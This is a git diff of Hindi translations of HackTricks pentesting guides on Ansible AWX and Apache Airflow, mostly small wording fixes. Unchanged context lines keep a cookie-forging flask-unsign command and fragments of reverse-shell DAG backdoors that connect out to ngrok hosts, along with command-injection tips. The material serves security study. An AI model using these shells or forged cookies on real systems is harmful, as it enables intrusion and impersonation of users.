diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index b9ac9450a..52817de8c 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -6,8 +6,8 @@
>
> HackTricks का समर्थन करें
>
-> - [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
+> - [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **हैकिंग ट्रिक्स साझा करें,** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके।
+> - **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
>
>
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index db3cc9d9b..95feeb499 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -4,9 +4,9 @@
## Basic Information
-**Ansible Tower** या इसका ओपन-सोर्स संस्करण [**AWX**](https://github.com/ansible/awx) को **Ansible का उपयोगकर्ता इंटरफ़ेस, डैशबोर्ड, और REST API** के रूप में भी जाना जाता है। **भूमिका-आधारित पहुँच नियंत्रण**, नौकरी अनुसूची, और ग्राफिकल इन्वेंटरी प्रबंधन के साथ, आप अपने Ansible बुनियादी ढांचे को एक आधुनिक UI से प्रबंधित कर सकते हैं। Tower का REST API और कमांड-लाइन इंटरफ़ेस इसे वर्तमान उपकरणों और कार्यप्रवाहों में एकीकृत करना सरल बनाता है।
+**Ansible Tower** या इसका ओपनसोर्स संस्करण [**AWX**](https://github.com/ansible/awx) को **Ansible का उपयोगकर्ता इंटरफ़ेस, डैशबोर्ड, और REST API** के रूप में भी जाना जाता है। **भूमिका-आधारित पहुँच नियंत्रण**, नौकरी अनुसूची, और ग्राफिकल इन्वेंटरी प्रबंधन के साथ, आप एक आधुनिक UI से अपनी Ansible अवसंरचना का प्रबंधन कर सकते हैं। Tower का REST API और कमांड-लाइन इंटरफ़ेस इसे वर्तमान उपकरणों और कार्यप्रवाहों में एकीकृत करना सरल बनाता है।
-**Automation Controller Ansible Tower का एक नया** संस्करण है जिसमें अधिक क्षमताएँ हैं।
+**Automation Controller एक नया** संस्करण है Ansible Tower का जिसमें अधिक क्षमताएँ हैं।
### Differences
@@ -14,21 +14,21 @@
### Tech Stack
-- **Web Interface**: यह ग्राफिकल इंटरफ़ेस है जहाँ उपयोगकर्ता इन्वेंटरी, क्रेडेंशियल, टेम्पलेट, और नौकरियों का प्रबंधन कर सकते हैं। इसे सहज बनाने के लिए डिज़ाइन किया गया है और यह आपके स्वचालन कार्यों की स्थिति और परिणामों को समझने में मदद करने के लिए दृश्य प्रस्तुतियाँ प्रदान करता है।
-- **REST API**: आप जो कुछ भी वेब इंटरफ़ेस में कर सकते हैं, आप REST API के माध्यम से भी कर सकते हैं। इसका मतलब है कि आप AWX/Tower को अन्य प्रणालियों के साथ एकीकृत कर सकते हैं या उन क्रियाओं को स्क्रिप्ट कर सकते हैं जो आप सामान्यतः इंटरफ़ेस में करते हैं।
+- **Web Interface**: यह ग्राफिकल इंटरफ़ेस है जहाँ उपयोगकर्ता इन्वेंटरी, क्रेडेंशियल्स, टेम्पलेट्स, और नौकरियों का प्रबंधन कर सकते हैं। इसे सहज बनाने के लिए डिज़ाइन किया गया है और यह आपके स्वचालन नौकरियों की स्थिति और परिणामों को समझने में मदद करने के लिए दृश्य प्रस्तुतियाँ प्रदान करता है।
+- **REST API**: आप जो कुछ भी वेब इंटरफ़ेस में कर सकते हैं, आप REST API के माध्यम से भी कर सकते हैं। इसका मतलब है कि आप AWX/Tower को अन्य प्रणालियों के साथ एकीकृत कर सकते हैं या उन क्रियाओं को स्क्रिप्ट कर सकते हैं जो आप आमतौर पर इंटरफ़ेस में करते हैं।
- **Database**: AWX/Tower एक डेटाबेस (आमतौर पर PostgreSQL) का उपयोग करता है ताकि इसकी कॉन्फ़िगरेशन, नौकरी के परिणाम, और अन्य आवश्यक परिचालन डेटा को संग्रहीत किया जा सके।
-- **RabbitMQ**: यह AWX/Tower द्वारा विभिन्न घटकों के बीच संचार के लिए उपयोग किया जाने वाला संदेश प्रणाली है, विशेष रूप से वेब सेवा और कार्य चलाने वालों के बीच।
+- **RabbitMQ**: यह AWX/Tower द्वारा विभिन्न घटकों के बीच संवाद करने के लिए उपयोग किया जाने वाला संदेश प्रणाली है, विशेष रूप से वेब सेवा और कार्य चलाने वालों के बीच।
- **Redis**: Redis एक कैश और कार्य कतार के लिए बैकएंड के रूप में कार्य करता है।
### Logical Components
-- **Inventories**: एक इन्वेंटरी एक **होस्ट (या नोड्स)** का **संग्रह** है जिसके खिलाफ **नौकरियाँ** (Ansible प्लेबुक) **चलाई जा सकती हैं**। AWX/Tower आपको अपनी इन्वेंटरी को परिभाषित और समूहित करने की अनुमति देता है और यह गतिशील इन्वेंटरी का समर्थन करता है जो **अन्य प्रणालियों** से होस्ट सूचियाँ **लैपटॉप** कर सकता है जैसे AWS, Azure, आदि।
-- **Projects**: एक प्रोजेक्ट मूल रूप से एक **Ansible प्लेबुक का संग्रह** है जो एक **संस्करण नियंत्रण प्रणाली** (जैसे Git) से लिया गया है ताकि आवश्यकता पड़ने पर नवीनतम प्लेबुक को खींचा जा सके।
-- **Templates**: नौकरी टेम्पलेट यह परिभाषित करते हैं कि **किस प्रकार की प्लेबुक चलाई जाएगी**, **इन्वेंटरी**, **क्रेडेंशियल**, और नौकरी के लिए अन्य **पैरामीटर** निर्दिष्ट करते हैं।
-- **Credentials**: AWX/Tower एक सुरक्षित तरीके से **गोपनीयताओं का प्रबंधन और संग्रहण** करने का एक सुरक्षित तरीका प्रदान करता है, जैसे SSH कुंजी, पासवर्ड, और API टोकन। इन क्रेडेंशियल को नौकरी टेम्पलेट के साथ जोड़ा जा सकता है ताकि प्लेबुक को चलाते समय आवश्यक पहुँच मिल सके।
-- **Task Engine**: यहीं जादू होता है। कार्य इंजन Ansible पर आधारित है और **प्लेबुक चलाने** के लिए जिम्मेदार है। नौकरियाँ कार्य इंजन को भेजी जाती हैं, जो निर्दिष्ट इन्वेंटरी के खिलाफ निर्दिष्ट क्रेडेंशियल का उपयोग करके Ansible प्लेबुक चलाता है।
+- **Inventories**: एक इन्वेंटरी एक **होस्ट (या नोड्स)** का **संग्रह** है जिसके खिलाफ **नौकरियाँ** (Ansible प्लेबुक) **चलाई** जा सकती हैं। AWX/Tower आपको अपनी इन्वेंटरी को परिभाषित और समूहित करने की अनुमति देता है और यह गतिशील इन्वेंटरी का भी समर्थन करता है जो **अन्य प्रणालियों** से होस्ट सूचियाँ **लैपटॉप** कर सकता है जैसे AWS, Azure, आदि।
+- **Projects**: एक प्रोजेक्ट मूल रूप से एक **Ansible प्लेबुक का संग्रह** है जो एक **संस्करण नियंत्रण प्रणाली** (जैसे Git) से लिया गया है ताकि आवश्यकतानुसार नवीनतम प्लेबुक को खींचा जा सके।
+- **Templates**: नौकरी टेम्पलेट्स परिभाषित करते हैं **कैसे एक विशेष प्लेबुक चलाई जाएगी**, **इन्वेंटरी**, **क्रेडेंशियल्स**, और नौकरी के लिए अन्य **पैरामीटर** निर्दिष्ट करते हैं।
+- **Credentials**: AWX/Tower एक सुरक्षित तरीका प्रदान करता है **गोपनीयताओं का प्रबंधन और संग्रहण करने के लिए, जैसे SSH कुंजी, पासवर्ड, और API टोकन**। ये क्रेडेंशियल्स नौकरी टेम्पलेट्स के साथ जुड़े जा सकते हैं ताकि प्लेबुक को चलाते समय आवश्यक पहुँच मिल सके।
+- **Task Engine**: यहीं जादू होता है। कार्य इंजन Ansible पर आधारित है और **प्लेबुक चलाने** के लिए जिम्मेदार है। नौकरियाँ कार्य इंजन को भेजी जाती हैं, जो निर्दिष्ट क्रेडेंशियल्स का उपयोग करके निर्दिष्ट इन्वेंटरी के खिलाफ Ansible प्लेबुक चलाता है।
- **Schedulers and Callbacks**: ये AWX/Tower में उन्नत सुविधाएँ हैं जो **नौकरियों को विशिष्ट समय पर चलाने** या बाहरी घटनाओं द्वारा ट्रिगर करने की अनुमति देती हैं।
-- **Notifications**: AWX/Tower नौकरी की सफलता या विफलता के आधार पर सूचनाएँ भेज सकता है। यह ईमेल, स्लैक संदेश, वेबहुक आदि जैसे विभिन्न सूचनाओं के तरीकों का समर्थन करता है।
+- **Notifications**: AWX/Tower नौकरी की सफलता या विफलता के आधार पर सूचनाएँ भेज सकता है। यह ईमेल, Slack संदेश, वेबहुक आदि जैसी विभिन्न सूचनाओं के तरीकों का समर्थन करता है।
- **Ansible Playbooks**: Ansible प्लेबुक कॉन्फ़िगरेशन, तैनाती, और ऑर्केस्ट्रेशन उपकरण हैं। वे स्वचालित, दोहराने योग्य तरीके से प्रणालियों की इच्छित स्थिति का वर्णन करते हैं। YAML में लिखी गई, प्लेबुक Ansible की घोषणात्मक स्वचालन भाषा का उपयोग करके कॉन्फ़िगरेशन, कार्य, और चरणों का वर्णन करती हैं जिन्हें निष्पादित करने की आवश्यकता होती है।
### Job Execution Flow
@@ -36,22 +36,22 @@
1. **User Interaction**: एक उपयोगकर्ता AWX/Tower के साथ **Web Interface** या **REST API** के माध्यम से इंटरैक्ट कर सकता है। ये AWX/Tower द्वारा प्रदान की गई सभी कार्यक्षमताओं के लिए फ्रंट-एंड पहुँच प्रदान करते हैं।
2. **Job Initiation**:
- उपयोगकर्ता, वेब इंटरफ़ेस या API के माध्यम से, एक **Job Template** के आधार पर नौकरी शुरू करता है।
-- नौकरी टेम्पलेट में **Inventory**, **Project** (प्लेबुक शामिल) और **Credentials** के संदर्भ शामिल होते हैं।
-- नौकरी शुरू करने पर, निष्पादन के लिए नौकरी को कतार में डालने के लिए AWX/Tower बैकएंड को एक अनुरोध भेजा जाता है।
+- नौकरी टेम्पलेट में **Inventory**, **Project** (प्लेबुक को शामिल करते हुए), और **Credentials** के संदर्भ शामिल होते हैं।
+- नौकरी शुरू करने पर, कार्यान्वयन के लिए नौकरी को कतार में डालने के लिए AWX/Tower बैकएंड को एक अनुरोध भेजा जाता है।
3. **Job Queuing**:
- **RabbitMQ** वेब घटक और कार्य चलाने वालों के बीच संदेशों को संभालता है। एक बार जब नौकरी शुरू होती है, तो RabbitMQ का उपयोग करके कार्य इंजन को एक संदेश भेजा जाता है।
-- **Redis** कार्य कतार के लिए बैकएंड के रूप में कार्य करता है, जो निष्पादन की प्रतीक्षा कर रहे कतारबद्ध नौकरियों का प्रबंधन करता है।
+- **Redis** कार्य कतार के लिए बैकएंड के रूप में कार्य करता है, प्रचालित नौकरियों का प्रबंधन करता है जो निष्पादन की प्रतीक्षा कर रही हैं।
4. **Job Execution**:
-- **Task Engine** कतारबद्ध नौकरी को उठाता है। यह नौकरी से संबंधित प्लेबुक, इन्वेंटरी, और क्रेडेंशियल के बारे में आवश्यक जानकारी **Database** से प्राप्त करता है।
+- **Task Engine** कतार में रखी गई नौकरी को उठाता है। यह नौकरी से संबंधित प्लेबुक, इन्वेंटरी, और क्रेडेंशियल्स के बारे में आवश्यक जानकारी **Database** से प्राप्त करता है।
- संबंधित **Project** से प्राप्त Ansible प्लेबुक का उपयोग करते हुए, कार्य इंजन निर्दिष्ट **Inventory** नोड्स के खिलाफ प्लेबुक चलाता है, प्रदान किए गए **Credentials** का उपयोग करते हुए।
- जैसे-जैसे प्लेबुक चलती है, इसका निष्पादन आउटपुट (लॉग, तथ्य, आदि) कैप्चर किया जाता है और **Database** में संग्रहीत किया जाता है।
5. **Job Results**:
- एक बार जब प्लेबुक चलना समाप्त हो जाता है, तो परिणाम (सफलता, विफलता, लॉग) **Database** में सहेजे जाते हैं।
- उपयोगकर्ता फिर वेब इंटरफ़ेस के माध्यम से परिणाम देख सकते हैं या REST API के माध्यम से उन्हें क्वेरी कर सकते हैं।
-- नौकरी के परिणामों के आधार पर, **Notifications** उपयोगकर्ताओं या बाहरी प्रणालियों को नौकरी की स्थिति के बारे में सूचित करने के लिए भेजी जा सकती हैं। सूचनाएँ ईमेल, स्लैक संदेश, वेबहुक आदि हो सकती हैं।
+- नौकरी के परिणामों के आधार पर, **Notifications** उपयोगकर्ताओं या बाहरी प्रणालियों को नौकरी की स्थिति के बारे में सूचित करने के लिए भेजी जा सकती हैं। सूचनाएँ ईमेल, Slack संदेश, वेबहुक आदि हो सकती हैं।
6. **External Systems Integration**:
- **Inventories** को बाहरी प्रणालियों से गतिशील रूप से लिया जा सकता है, जिससे AWX/Tower को AWS, Azure, VMware, और अधिक जैसे स्रोतों से होस्ट खींचने की अनुमति मिलती है।
-- **Projects** (प्लेबुक) को संस्करण नियंत्रण प्रणालियों से खींचा जा सकता है, यह सुनिश्चित करते हुए कि नौकरी निष्पादन के दौरान अद्यतन प्लेबुक का उपयोग किया जाए।
+- **Projects** (प्लेबुक) को संस्करण नियंत्रण प्रणालियों से खींचा जा सकता है, यह सुनिश्चित करते हुए कि नौकरी के निष्पादन के दौरान अद्यतन प्लेबुक का उपयोग किया जाए।
- **Schedulers and Callbacks** का उपयोग अन्य प्रणालियों या उपकरणों के साथ एकीकृत करने के लिए किया जा सकता है, जिससे AWX/Tower बाहरी ट्रिगर्स पर प्रतिक्रिया कर सके या पूर्व निर्धारित समय पर नौकरियाँ चला सके।
### AWX lab creation for testing
@@ -84,11 +84,11 @@ docker exec tools_awx_1 awx-manage create_preload_data
```
## RBAC
-### Supported roles
+### समर्थित भूमिकाएँ
-सबसे अधिक विशेषाधिकार प्राप्त भूमिका को **System Administrator** कहा जाता है। इस भूमिका वाले कोई भी **कुछ भी संशोधित कर सकता है**।
+सबसे अधिक विशेषाधिकार प्राप्त भूमिका को **System Administrator** कहा जाता है। इस भूमिका के साथ कोई भी **कुछ भी संशोधित कर सकता है**।
-एक **white box security** समीक्षा के लिए, आपको **System Auditor role** की आवश्यकता होगी, जो **सभी सिस्टम डेटा को देखने** की अनुमति देती है लेकिन कोई परिवर्तन नहीं कर सकती। एक और विकल्प **Organization Auditor role** प्राप्त करना होगा, लेकिन पहले वाला बेहतर होगा।
+एक **white box security** समीक्षा के लिए, आपको **System Auditor role** की आवश्यकता होगी, जो **सभी सिस्टम डेटा को देखने** की अनुमति देती है लेकिन कोई परिवर्तन नहीं कर सकती। एक और विकल्प **Organization Auditor role** प्राप्त करना होगा, लेकिन बेहतर होगा कि आप दूसरी भूमिका प्राप्त करें।
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index 7bf3df6f6..67e2ff8c1 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -4,19 +4,19 @@
### Basic Information
-[**Apache Airflow**](https://airflow.apache.org) **डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है**। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जिनमें व्यापार बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं।
+[**Apache Airflow**](https://airflow.apache.org) **डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है**। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जिनमें व्यवसायिक बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं।
-बुनियादी रूप से, Apache Airflow आपको **कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ** (घटना, क्रोन) **होगा**।
+बुनियादी रूप से, Apache Airflow आपको **कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ** (घटना, क्रोन) **होता है**।
### Local Lab
#### Docker-Compose
-आप **https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml** से **docker-compose कॉन्फ़िग फ़ाइल का उपयोग कर सकते हैं** ताकि एक पूर्ण apache airflow docker वातावरण लॉन्च किया जा सके। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)।
+आप **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) का उपयोग करके एक पूर्ण apache airflow docker वातावरण लॉन्च कर सकते हैं। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)।
#### Minikube
-**apache airflow को चलाने का एक आसान तरीका** इसे **minikube के साथ चलाना है**:
+**apache airflo**w को चलाने का एक आसान तरीका है **minikube के साथ इसे चलाना**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
@@ -28,7 +28,7 @@ helm delete airflow-release
```
### Airflow Configuration
-Airflow अपनी कॉन्फ़िगरेशन में **संवेदनशील जानकारी** संग्रहीत कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकते हैं:
+Airflow अपनी **संवेदनशील जानकारी** को अपनी कॉन्फ़िगरेशन में स्टोर कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकते हैं:
{{#ref}}
airflow-configuration.md
@@ -48,29 +48,29 @@ airflow-rbac.md
यदि आपके पास **वेब कंसोल तक पहुंच** है, तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुंच सकते हैं:
-- **Variables** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है)
-- **Connections** (कस्टम संवेदनशील जानकारी यहां संग्रहीत की जा सकती है)
+- **Variables** (कस्टम संवेदनशील जानकारी यहां स्टोर की जा सकती है)
+- **Connections** (कस्टम संवेदनशील जानकारी यहां स्टोर की जा सकती है)
- उन्हें `http:///connection/list/` में एक्सेस करें
-- [**Configuration**](./#airflow-configuration) (संवेदनशील जानकारी जैसे **`secret_key`** और पासवर्ड यहां संग्रहीत किए जा सकते हैं)
-- **उपयोगकर्ताओं और भूमिकाओं** की सूची
-- **प्रत्येक DAG का कोड** (जिसमें दिलचस्प जानकारी हो सकती है)
+- [**Configuration**](./#airflow-configuration) (संवेदनशील जानकारी जैसे **`secret_key`** और पासवर्ड यहां स्टोर किए जा सकते हैं)
+- **users & roles** की सूची
+- **Code of each DAG** (जिसमें दिलचस्प जानकारी हो सकती है)
#### Retrieve Variables Values
-Variables को Airflow में संग्रहीत किया जा सकता है ताकि **DAGs** उनके मानों को **एक्सेस** कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास **पर्याप्त अनुमतियाँ** हैं, तो आप उन्हें GUI में `http:///variable/list/` में एक्सेस कर सकते हैं।\
-Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाँकि, [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार, यह संभव है कि **वेरिएबल्स की एक सूची** सेट की जाए जिनका **मान** **अतिरिक्त चिह्नों** के रूप में **GUI** में दिखाई देगा।
+Variables को Airflow में स्टोर किया जा सकता है ताकि **DAGs** उनके मानों को **एक्सेस** कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास **पर्याप्त अनुमतियाँ** हैं, तो आप उन्हें GUI में `http:///variable/list/` में एक्सेस कर सकते हैं।\
+Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाँकि, [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार, एक **वेरिएबल्स की सूची** सेट करना संभव है जिसका **मान** GUI में **अतिरिक्त चिह्नों** के रूप में दिखाई देगा।
.png>)
-हालांकि, ये **मान** अभी भी **CLI** के माध्यम से **प्राप्त** किए जा सकते हैं (आपको DB एक्सेस की आवश्यकता है), **मनमाने DAG** निष्पादन, **API** के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और **यहां तक कि GUI स्वयं!**\
-GUI से उन मानों तक पहुंचने के लिए बस **वेरिएबल्स का चयन करें** जिन्हें आप एक्सेस करना चाहते हैं और **Actions -> Export** पर क्लिक करें।\
-एक और तरीका है **छिपे हुए मान** पर **ब्रूटफोर्स** करना, इसे **खोज फ़िल्टरिंग** का उपयोग करके तब तक करें जब तक आप इसे प्राप्त न कर लें:
+हालांकि, ये **मान** अभी भी **CLI** के माध्यम से **प्राप्त** किए जा सकते हैं (आपको DB एक्सेस होना चाहिए), **मनमाने DAG** निष्पादन, **API** के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और **यहां तक कि GUI स्वयं!**\
+GUI से उन मानों तक पहुंचने के लिए बस **वेरिएबल्स** का चयन करें जिन्हें आप एक्सेस करना चाहते हैं और **Actions -> Export** पर क्लिक करें।\
+एक और तरीका है **छिपे हुए मान** पर **ब्रूटफोर्स** करना, इसे **खोज फ़िल्टरिंग** का उपयोग करके जब तक आप इसे प्राप्त न कर लें:
.png>)
#### Privilege Escalation
-यदि **`expose_config`** कॉन्फ़िगरेशन **True** पर सेट है, तो **भूमिका उपयोगकर्ता** और **ऊपर** से **वेब में कॉन्फ़िग** को **पढ़** सकते हैं। इस कॉन्फ़िगरेशन में, **`secret_key`** प्रकट होता है, जिसका अर्थ है कि इस मान्य के साथ कोई भी उपयोगकर्ता **अपना स्वयं का हस्ताक्षरित कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके**।
+यदि **`expose_config`** कॉन्फ़िगरेशन **True** पर सेट है, तो **User** भूमिका और **ऊपर** से **वेब में कॉन्फ़िग** को **पढ़** सकते हैं। इस कॉन्फ़िगरेशन में, **`secret_key`** दिखाई देता है, जिसका अर्थ है कि इस मान्य के साथ कोई भी उपयोगकर्ता **अपना स्वयं का साइन किया हुआ कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके**।
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
@@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
```
#### DAG बैकडोर (Airflow शेड्यूलर में RCE)
-यदि आप कुछ को **कोड की जड़ में निष्पादित करने के लिए सेट करते हैं**, तो इस लेखन के क्षण में, इसे **शेड्यूलर द्वारा निष्पादित किया जाएगा** DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद।
+यदि आप कुछ को **कोड की जड़ में निष्पादित करने के लिए सेट करते हैं**, तो इस लेखन के समय, इसे **शेड्यूलर द्वारा निष्पादित किया जाएगा** DAG के फ़ोल्डर में रखने के कुछ सेकंड बाद।
```python
import pendulum, socket, os, pty
from airflow import DAG
@@ -142,24 +142,24 @@ task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
-#### DAG Creation
+#### DAG निर्माण
यदि आप **DAG क्लस्टर के अंदर एक मशीन को समझौता करने में सफल होते हैं**, तो आप `dags/` फ़ोल्डर में नए **DAGs स्क्रिप्ट** बना सकते हैं और ये **DAG क्लस्टर के अंदर बाकी मशीनों में दोहराए जाएंगे**।
-#### DAG Code Injection
+#### DAG कोड इंजेक्शन
-जब आप GUI से एक DAG को निष्पादित करते हैं, तो आप इसे **आर्गुमेंट्स** पास कर सकते हैं।\
-इसलिए, यदि DAG सही तरीके से कोडित नहीं है, तो यह **कमांड इंजेक्शन के लिए संवेदनशील हो सकता है।**\
+जब आप GUI से एक DAG को निष्पादित करते हैं, तो आप इसे **आर्गुमेंट्स** **दे सकते हैं**।\
+इसलिए, यदि DAG ठीक से कोडित नहीं है, तो यह **कमांड इंजेक्शन के लिए संवेदनशील हो सकता है।**\
यही इस CVE में हुआ: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-आपको **DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ जानने की आवश्यकता है, वह यह है कि** **पैरामीटर्स** **कोड** **`dag_run.conf.get("param_name")`** के साथ **एक्सेस** किए जाते हैं।
+आपको **DAGs में कमांड इंजेक्शन की तलाश शुरू करने के लिए जो कुछ भी जानने की आवश्यकता है, वह यह है कि **पैरामीटर** कोड **`dag_run.conf.get("param_name")`** के साथ **एक्सेस** किए जाते हैं।
-इसके अलावा, वही संवेदनशीलता **वेरिएबल्स** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में **वेरिएबल्स के मान को नियंत्रित कर सकते हैं**)। वेरिएबल्स को **एक्सेस किया जाता है**:
+इसके अलावा, वही संवेदनशीलता **वेरिएबल्स** के साथ भी हो सकती है (ध्यान दें कि पर्याप्त विशेषाधिकार के साथ आप GUI में **वेरिएबल्स के मान को नियंत्रित कर सकते हैं**)। वेरिएबल्स को **इससे एक्सेस किया जाता है**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
-यदि उन्हें उदाहरण के लिए एक bash कमांड के अंदर उपयोग किया जाता है, तो आप एक कमांड इंजेक्शन कर सकते हैं।
+यदि उन्हें उदाहरण के लिए एक bash कमांड के अंदर उपयोग किया जाता है, तो आप एक कमांड इंजेक्शन कर सकते हैं।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 43acd38fd..3b97a72ba 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -6,9 +6,9 @@
**Apache Airflow** सभी एयरफ्लो मशीनों में एक **config file** उत्पन्न करता है जिसे **`airflow.cfg`** कहा जाता है, जो एयरफ्लो उपयोगकर्ता के होम में होता है। यह config file कॉन्फ़िगरेशन जानकारी रखती है और **दिलचस्प और संवेदनशील जानकारी हो सकती है।**
-**इस फ़ाइल तक पहुँचने के दो तरीके हैं: कुछ एयरफ्लो मशीन को समझौता करके, या वेब कंसोल तक पहुँचकर।**
+**इस फ़ाइल तक पहुँचने के दो तरीके हैं: किसी एयरफ्लो मशीन को समझौता करके, या वेब कंसोल तक पहुँचकर।**
-ध्यान दें कि **config file के अंदर के मान** **वास्तव में उपयोग किए गए नहीं हो सकते**, क्योंकि आप उन्हें `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` जैसे env वेरिएबल सेट करके ओवरराइट कर सकते हैं।
+ध्यान दें कि **config file के अंदर के मान** **वास्तव में उपयोग किए गए नहीं हो सकते**, क्योंकि आप उन्हें env वेरिएबल सेट करके ओवरराइट कर सकते हैं जैसे `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`।
यदि आपके पास **वेब सर्वर में config file तक पहुँच है**, तो आप उसी पृष्ठ पर **वास्तविक चल रही कॉन्फ़िगरेशन** की जांच कर सकते हैं जहाँ config प्रदर्शित होता है।\
यदि आपके पास **एयरफ्लो वातावरण के अंदर किसी मशीन तक पहुँच है**, तो **पर्यावरण** की जांच करें।
@@ -20,14 +20,14 @@ config file पढ़ते समय जांचने के लिए कु
- **`access_control_allow_headers`**: यह **CORS** के लिए **अनुमत** **हेडर** को इंगित करता है
- **`access_control_allow_methods`**: यह **CORS** के लिए **अनुमत विधियों** को इंगित करता है
- **`access_control_allow_origins`**: यह **CORS** के लिए **अनुमत मूल** को इंगित करता है
-- **`auth_backend`**: [**दस्तावेज़ों के अनुसार**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) कुछ विकल्प हो सकते हैं यह निर्धारित करने के लिए कि कौन API तक पहुँच सकता है:
+- **`auth_backend`**: [**दस्तावेज़ों के अनुसार**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) कुछ विकल्प हो सकते हैं जो यह निर्धारित करते हैं कि कौन API तक पहुँच सकता है:
